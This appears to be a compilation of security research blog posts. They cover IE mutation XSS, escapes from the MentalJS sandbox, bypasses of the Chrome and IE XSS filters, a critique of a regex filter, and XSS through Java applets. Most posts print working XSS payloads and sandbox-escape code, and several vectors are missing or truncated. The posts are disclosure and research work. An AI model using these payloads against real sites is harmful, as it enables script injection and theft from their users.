New IE mutation vector

I was messing around with a filter that didn’t correctly filter attribute names and allowed a blank one which enabled me to bypass it. I thought maybe IE had similar issues when rewriting innerHTML. Yes it does of course :)

The filter bypass worked like this:

<img ="><script>alert(1)</script>">

The filter incorrectly assumed it was still inside an attribute and therefore allowed raw html to be injected and the various browsers treat it as an invalid attribute and execute the script. I then decided to fuzz the attribute name to see what characters are allowed. IE of course proved to be interesting because two equals one as an attribute name created an invalid attribute.

I began to use my mXSS tool to see if I could find a new vector. Attribute names with equals seemed a good place to start. After various tests using multiple attributes and mixing quotes I found a vector using an equal after the tag name.



IE renders the entities inside the x attribute and therefore breaks out of the attribute when innerHTML is read. If you remove the equal after the tag name the vector no longer works so maybe the parser loses track of the character position or confuses itself which quotes the attribute is part of.

How I smashed MentalJS

I’m proud to introduce a guest blogger on The Spanner. Jann Horn is a IT Security student in fourth semester and works for Cure53. He has found security issues in a bunch of open source projects, including OpenSSH(CVE-2014-2532), Chromium(CVE-2014-1726,CVE-2015-1247), Android(CVE-2014-7911) and Angular. He’s also a member of the university CTF team FluxFingers. Jann has been testing my MentalJS project and found some really cool flaws…

MentalJS vuln writeup

This is a writeup about three somewhat similar ways to escape the MentalJS sandbox
(and two bugs that didn’t lead to a sandbox escape) that I reported to
Gareth Heyes 2015-04-28 and 2015-04-29. All these bugs are
fixed now.

Wrecking the parser

MentalJS is relatively permissive: Among other things, you are allowed to access most constructors
and prototypes, including Object.prototype.
This permits setting default properties on any object – but MentalJS restricts that to properties
that are either numeric or end with a dollar sign.

MentalJS parses and rewrites attacker-supplied JavaScript code. While parsing it, MentalJS uses a big
two-dimensional object that contains the allowed state transitions of the parser:

rules = {
0 : {//ArrayComma
0 : 1, //ArrayComma
1 : 1, //ArrayOpen
135 : 1, //Undefined
137 : 1, //VarIdentifier
138 : 1, //VarComma
139 : 1, //Void
141 : 1, //WithStatementParenOpen
146 : 1 //WhileStatementParenOpen

1 : {//ArrayOpen
0 : 1, //ArrayComma
1 : 1, //ArrayOpen
152 : 1, //ZeroRightShift
153 : 1 //ZeroRightShiftAssignment

2 : {//ArrayClose
0 : 1, //ArrayComma
1 : 1, //ArrayOpen
135 : 1, //Undefined
137 : 1 //VarIdentifier


Note how allowed state transitions have value 1 while forbidden state transitions
are implicitly undefined.

So this is the first part of the attack: Spam numeric properties of Object.prototype
with 1, which basically fills the
whole table of allowed state transitions with 1, altering the parser’s behavior:

for (var i=0; i<1000; i++) Object.prototype[i]=1

Now, in subsequent runs, the parser parses JavaScript code weirdly: It will permit some things
that JavaScript doesn’t normally allow, and it will misinterpret valid code, too. Have a look at
the following code:

3 / alert(location) / 1

Clearly, this code just performs two divisions and an alert(), and that is what MentalJS
normally parses it as, too. This is the code after sanitizing:

3 / alert$(location$) / 1

However, after the parser-wrecking attack, it treats the two slashes and
the code between them as a regex, which means that it won’t sanitize that code – this is the sanitized
output for the same input string after the parser-wrecking attack has been performed:

3/ alert(location) /1

To turn this into a full attack, some way is needed to invoke the parser again after untrusted code
has already run. Luckily (for the attacker), MentalJS offers an eval() method that will sanitize and
then execute code passed to it. So, this is the full bypass:

for (var i=0; i<1000; i++) Object.prototype[i]=1;eval('3 / alert(location) / 1')

XSS via <script> innerHTML

Here, I basically revived the second issue from
this post. The original problem was that it was
possible to set the innerHTML property of script elements through the setter for Element.prototype.innerHTML$,
which sanitizes data for use in a normal HTML context, but not for use as JS code.
The fix was to prevent using
innerHTML$ on script tags by overriding the setter for script tags with
HTMLScriptElement.prototype.innerHTML$, a no-op setter. This could be bypassed by deleting the innerHTML$
property from HTMLScriptElement.prototype, exposing the old setter for script elements again:

delete x.constructor.prototype.innerHTML;

Code execution through setTimeout

MentalJS allows sandboxed code to use setTimeout() through the wrapper function
setTimeout$(). This wrapper used window.Function$() to sanitize untrusted code passed
as a string, then invoked setTimeout() with the resulting function:

function(func, time) {
time = +time;
if ( typeof func !== ‘function’) {
func = Function$(func);
var id = +setTimeout(func, time);
setTimeoutIDS[id] = true;
return id;

The basic idea behind this attack is to replace window.Function$ with a function that simply
returns its argument, thereby allowing an attacker to pass arbitrary strings to setTimeout().
This is the code that defines window.Function$:

Object.defineProperties(window, {
‘Function$’ : {
configurable : true,
writable : false,
value : FUNCTION

As you can see, the property is defined as non-writable, meaning it’s not possible to simply overwrite it.
However, it was configurable, so it was possible to delete the property and subsequently recreate it with a
different value:

delete window.Function;
window.Function = function(x){ return x; };
setTimeout(‘alert(location)’, 0);

Invalid unicode escapes in identifiers

MentalJS validated unicode escapes in identifiers by prefixing the four characters following \u with
'0x' and casting the result to a number:

hex = +(‘0x’ + chr2 + chr3 + chr4 + chr5);
if (hex === hex && hex !== hex) {
error(“Invalid unicode escape. Expected valid hex sequence.”);
[ more checks on `hex` ]

While ToNumber() is relatively
strict compared to parseInt(), it permits trailing whitespace (WhiteSpace and LineTerminator)
behind numbers. This caused MentalJS to parse the string foo\u041 bar as a single identifier, causing it to
execute the rewritten code foo\u041 bar$. However, it seems that at least the JS engines of Chrome, Firefox
and IE are strict about unicode escapes and do not permit them to be too short, so I think that this wasn’t exploitable.

Normalization of numbers

MentalJS normalizes numbers a bit and does not permit octal number literals: For example, if you enter 00001 as
code, it will be normalized to 1, and 00000 will be normalized to 0.

As you can see, a literal that’s all zeroes is a bit special: Removing all the zeroes would remove the literal from the code
and alter its meaning. This was the code snippet responsible for fixing up this edgecase:

if (states.zeroFirst && !states.output.length) {
states.output = ‘0’;

This code replaces the output with a zero if it would otherwise have been empty. However, this doesn’t work properly if the
output is not empty because the number contains an 'e': After sanitizing, 0e+1 becomes
e+1, which MentalJS intends to be a number but the browser will parse as an addition of e and
1. However, I was unable to figure out a way to exploit this.

MentalJS DOM bypass

Ruben Ventura (@tr3w_) found a pretty cool bypass of MentalJS. He used insertBefore with a null second argument which allows you to insert a node into the dom and bypass my sandboxing restrictions. The vector is below:-


x =_.createElement('script');
s =_.createElement('style')
s.innerHTML = '*/alert(location)//'

t.textContent = '/*'
x.insertBefore(t.firstChild, null);
x.insertBefore(s, null)

x =_.createElement('script');
s =_.createElement('style')
s.innerHTML = _.getElementsByTagName('script')[2].textContent

x.insertBefore(s.firstChild, null)

It can actually be compressed to the following:


The fix was to check if the second argument is null and the parent node is a script. Clean the script and then sandbox the code. Hopefully that will fix the attack, I couldn’t see a way to use insertBefore without a null argument to cause another bypass.


@tr3w_ broke my fix :) he used undefined instead of null to bypass my condition and also cleverly used insertBefore with a node that occurs within the script to bypass cleaning the script and inject his code.

with(document) {
s = createElement('script');
s.insertBefore(createTextNode('alert(location)'), [][[]]);

with(document) {
s = createElement('script');

Another XSS auditor bypass

This bug is similar to the last one I posted but executes in a different context. It requires an existing script after the injection because we use it to close the injected script. It’s a shame chrome doesn’t support self closing scripts in HTML or within a SVG element because I’m pretty sure I could bypass it without using an existing script. Anyway the injection uses a data url with a script. In order to bypass the filter we need to concat the string with the quote from the attribute or use html entities such as &sol;&sol;. The HTML parser doesn’t care how much junk is between the opening and closing script since we are using a src attribute.


XSS Auditor bypass

XSS Auditor is getting pretty good at least in the tests I was doing however after a bit of testing I found a cool bypass. Without studying the code it seems that it checks for valid JavaScript within the vector, I thought I could use this to my advantage. I came up with the idea of using an existing script block to smuggle my vector and reusing the closing script on the page. The page contains a script block like this:

<script>x = "MY INJECTION"</script>

As every XSS hacker knows you can use a “</script>” block to escape out of the script block and inject a HTML XSS vector. So I broke out of the script block and used the trailing quote to form my vector. Like so:


You could of course use a standard ",alert(1)," but what if quotes are filtered? I then came up with the idea of using SVG and an HTML escaped quote. This bypasses the filter and is a HTML XSS vector that doesn’t have a DOM vulnerability so it’s within scope of the filter and is very common in my experience. Here is the final vector:

x = "</script><svg><script>alert(1)+&quot;";

XSS auditor PoC

Bypassing the IE XSS filter

Mario noticed that the new version of the IE filter blocks anchors in attempt to prevent the same origin bypass where you double encode the vector and post a link to itself. I had to take a look and see if I could break it and…of course I did. The regex is very generic:-


This could cause problems with information disclosure if you can put something in between the “a” and “href” and detect if the filter is active which I’ll admit is pretty tricky now with the new protection against such attacks. Anyway lets move onto the vectors. I literally found the bypass in about 30 minutes, using an existing form it’s possible to inject a button that submits an existing form to inject the vector into itself with an encoded payload.

XSS filter bypass using formaction PoC

Ok onto the next bypass which is pretty simple. In the regexes they look for “http-equiv” in the meta element but forget about “charset”. Charset has worked in IE for years and even though it’s a HTML5 standard it works in quirks mode too. We can inject a UTF-7 vector which executes nicely. Here is the second Poc.

XSS filter bypass using meta charset

Unbreakable filter

I was bored so I thought I’d take a look at Ashar’s filters. I noticed he’d done a talk about it at Blackhat Europe which I was quite surprised at. Then I came across the following blog post about the talk which I pretty much agreed with. That blog post links to his filters so you can try them out yourself.

The first one is basically multiple JavaScript regexes which are far too generic to be of any value. For example “hahasrchaha” is considered a valid attack =) because it has “src” in. I’m not joking. The regexes are below.

function test(string) {
var match = /]*>[\s\S]*?/i.test(string) ||
/[\s"\'`;\/0-9\=\x0B\x09\x0C\x3B\x2C\x28]+on\w+[\s\x0B\x09\x0C\x3B\x2C\x28]*=/i.test(string) ||
/(?:=|U\s*R\s*L\s*\()\s*[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/i.test(string) ||
/%[\d\w]{2}/i.test(string) ||
/&#[^&]{2}/i.test(string) ||
/&#x[^&]{3}/i.test(string) ||
/&colon;/i.test(string) ||
/[\s\S]src[\s\S]/i.test(string) ||
/[\s\S]data:text\/html[\s\S]/i.test(string) ||
/[\s\S]xlink:href[\s\S]/i.test(string) ||
/[\s\S]base64[\s\S]/i.test(string) ||
/[\s\S]xmlns[\s\S]/i.test(string) ||
/[\s\S]xhtml[\s\S]/i.test(string) ||
/[\s\S]href[\s\S]/i.test(string) ||
/[\s\S]style[\s\S]/i.test(string) ||
/[\s\S]formaction[\s\S]/i.test(string) ||
/[\s\S]@import[\s\S]/i.test(string) ||
/[\s\S]!ENTITY.*?SYSTEM[\s\S]/i.test(string) ||
/[\s\S]pattern(?=.*?=)[\s\S]/i.test(string) ||
]*>[\s\S]*?/i.test(string) ||
/]*>[\s\S]*?/i.test(string) ||
/]*>[\s\S]*?/i.test(string) ||
]*>[\s\S]*?/i.test(string) ||
/]*>[\s\S]*?/i.test(string) ||
/]*>?[\s\S]*?/i.test(string) ||
return match ? 'Filter has catch your awesome vector ... Try hard :(' : 'Bypass :)';

Because the filter is so bad it makes it fun to find a vector. The following vector will bypass the rule:

<button form=x>xss<form id=x action="javas&Tab;cript:alert(1)"

Other examples are:-


Ashar also claimed his new filter was “unbreakable”. There wasn’t a lot of code but still it was badly broken. Let’s talk a look at that code

function attributeContextCleaner($input) {
$bad_chars = array("\"", "'", "``");
$safe_chars = array("&quot;", "&apos;", "&grave;");
$output = str_replace($bad_chars, $safe_chars, $input);
return stripslashes($output);

Can you see it? Yeah he uses ““” instead of “`” so the code will look for two “`” rather than one but still that is not all. He uses stripslashes too for some random reason and we can use that to bypass the XSS Filter in IE. Not only does this code contain a glaring hole that it’s supposed to protect against but it also enables the XSS vector to function.

function attributeContextCleaner($input) {
$bad_chars = array("\"", "'", "``");
$safe_chars = array("&quot;", "&apos;", "&grave;");
$output = str_replace($bad_chars, $safe_chars, $input);
return stripslashes($output);
<img title=`<?php echo attributeContextCleaner($_GET['x'])?>` />

The vector to bypass the function and the XSS filter is:-

?x=`src=1 \0\0\0\0onerror=`alert(1)`

Stripslashes in PHP kindly removes all \0 for us which enables us to bypass the filter. This obviously only works in compat mode where “`” is an allowed attribute quote. In conclusion I don’t recommend using any of the filters. Try mario’s instead.


It seems Ashar intended to cover innerHTML mutations with his “ check so it wasn’t a mistype. So I decided to break that instead with:


This works on older versions of IE and breaks his intended fix for that context.

MentalJS bypasses

I managed to find time to fix a couple of MentalJS bypasses by LeverOne and Soroush Dalili (@irsdl). LeverOne’s vector was outstanding since it bypassed the parsing itself which is no easy task. The vector was as follows:

for(var i

Basically my parser was inserting a semi colon in the wrong place causing a different state than the actual state executed. My fix inserts the semi colon in the correct place. Before the fix the rewritten code looked like this:

for (var i$i$; / '/+alert(location);0)break//')

As you can see the variables have been incorrectly joined and so the next state is a regex whereas Mental thinks it’s a divide. After the fix the rewritten code looks like this:

for (var i$;i$ / '/+alert(location);0)break//')

So now the divide is an actual divide. Technically I shouldn’t be inserting a semi-colon in the for statement, I might fix this at a later stage if I have time.

The second bypass was from Soroush that basically assigned innerHTML on script nodes bypassing the rewriting completely. Cool bug. The fix was pretty simple, I prevented innerHTML assignments on script nodes. Here is the bypass:-



Mutation XSS was coined by me and Mario Heiderich to describe an XSS vector that is mutated from a safe state into an unsafe unfiltered state. The most common form of mXSS is from incorrect reads of innerHTML. A good example of mXSS was discovered by Mario where the listing element mutated its contents to execute XSS.

<listing>&lt;img src=1 onerror=alert(1)&gt;</listing>

When the listing’s innerHTML is read it is transformed into an image element even though the initial HTML is escaped. The following code example shows how the entities are decoded.

<listing id=x>&lt;img src=1 onerror=alert(1)&gt;</listing>

The expected result of the alert would be “&lt;img src=1 onerror=alert(1)&gt;” however IE10 decodes the entities and returns “<img src=1 onerror=alert(1)>” instead. The vector mutated from a safe state to an unexpected unsafe state. mXSS can work on multiple reads of the data, the first render is the actual HTML and every read of innerHTML is counted as another mutation since it could be decoded multiple times.
To help testing for mutation vectors I’ve created a simple tool that mutates the HTTML multiple levels. It does this by reading and writing the HTML. The tool is available here:

mXSS tool

If you try the above vector using this tool you can see how the vector mutates and executes. Because mutation XSS works on multiple levels the following HTML will be perfectly valid if you change the mutation level to 2. This reads and writes the HTML twice, you can of course increase the mutation value and continue encoding forever.

<listing>&amp;lt;img src=1 onerror=alert(1)&gt;</listing>

HTML parsers often get confused and understandably because of the complex interaction between HTML, entities and different document types. One of those confusions happens with HTML and XHTML. In IE9 document mode the entities will be decoded by confusing the parser that it’s a XHTML element rather than a HTML element. Visit the mXSS tool in IE9 mode at the following URL

mXSS tool in IE9 mode

By using a forward slash which is ignored in HTML but in XHTML it’s treated as a self-closing element we confuse the HTML parser into rendering the entities and breaking out of the style element and executing an image element. This bug was fixed in IE10 but thanks to the useful backwards compatibility modes we can render using IE9 and still execute.

<style/>&lt;/style&gt;&lt;img src=1 onerror=alert(1)&gt;</style>

More elements work this way in IE9, the following Shazzer URL shows which elements decode entities in this way.

Incorrect innerHTML serialization

Another cool IE9 mutation vector is using the “<%” element, this element acts as a comment and it’s possible to mutate attributes inside other elements combining a script based vector. An example is below.
<div title="%&gt;&lt;/script&gt;&quot;&lt;img src=1 onerror=alert(1)&gt;"></div>

Java Serialization

In this post I will explore Java serialized applets and how they can be used for XSS. A serialized applet contains code that can be easily stored and loaded. Java supports an attribute called “object” which accepts a url to a serialized class file this allows us to load applets of our choosing provided they can be serialized and implements the interface. This feature is very old and obscure and I have successfully used the technique to bypass filters that look for very specific XSS patterns.

In order to create a serializable Java applet you need the following code (You also need to add plugin.jar to the class path):

import java.applet.*;
import netscape.javascript.*;

public class XSS extends Applet implements {
public void init() {
JSObject win = (JSObject) JSObject.getWindow(this);

The plugin.jar has to be in your class path to compile as a serialized object with the JavaScript interpreter to call eval from inside the applet. When you have successfully compiled the serialized applet you can call it using the object attribute like so.

<applet object="xss.ser" codebase="http://any url here containing the class and serialized data"></applet>

Use code base to give the path to the serialized object and object to point to the filename. This isn’t the only method to include a serialized applet. The Java plugin in IE supports many ways to point to a serialized file. I can also use param elements to specify the object reference like the following:

<applet><param name=codebase value=http://someurl><param name=object value=xss.ser></applet>

Unbelievably the plugin supports a “java_” prefix in all attribute names. So the following is a valid request to a serialized file.

<applet java_codebase=http://someurl java_object=xss.ser></applet>

You can even use param elements to do the same thing. Like the following

<applet><param name=java_codebase value=http://someurl><param name=java_object value=xss.ser></applet>

Finally away from serialization there is another trick to embed a class file using the embed element.

<embed type=application/x-java-applet codebase=http://someurl code=xss.class MAYSCRIPT width=500 height=500></embed>

This also works with Flash and you don’t even need to specify the type attribute just the code attribute. This works on webkit.

<embed code="" allowscriptaccess=always>